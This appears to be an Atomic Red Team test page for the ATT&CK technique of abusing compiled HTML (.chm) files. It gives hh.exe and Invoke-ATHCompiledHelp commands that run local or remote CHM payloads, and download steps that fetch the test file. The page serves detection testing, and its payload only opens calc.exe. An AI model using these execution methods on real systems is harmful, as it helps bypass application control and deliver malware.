Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
-
Atomic Test #3 - Invoke CHM with default Shortcut Command Execution
-
Atomic Test #4 - Invoke CHM with InfoTech Storage Protocol Handler
-
Atomic Test #6 - Invoke CHM with Script Engine and Help Topic
-
Atomic Test #7 - Invoke CHM Shortcut Command with ITS and Help Topic
Uses hh.exe to execute a local compiled HTML Help payload. Upon execution calc.exe will open
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
local_chm_file | Local .chm payload | path | PathToAtomicsFolder\T1218.001\src\T1218.001.chm |
hh.exe #{local_chm_file}
if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"
Uses hh.exe to execute a remote compiled HTML Help payload. Upon execution displays an error saying the file cannot be open
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
remote_chm_file | Remote .chm payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm |
hh.exe #{remote_chm_file}
Executes a CHM file with the default Shortcut Command method.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
chm_file_path | Default path of CHM | string | Test.chm |
hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe |
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
Executes a CHM file with the ITS protocol handler.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe |
infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its |
chm_file_path | Default path of CHM | string | Test.chm |
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
Executes a CHM file simulating a user double click.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
chm_file_path | Default path of CHM | string | Test.chm |
Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}
Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
topic_extension | Default Help Topic | string | html |
hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe |
infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its |
script_engine | Default Script Engine | string | JScript |
chm_file_path | Default path of CHM | string | Test.chm |
Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
topic_extension | Default Help Topic | string | html |
hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe |
infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its |
chm_file_path | Default path of CHM | string | Test.chm |
Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force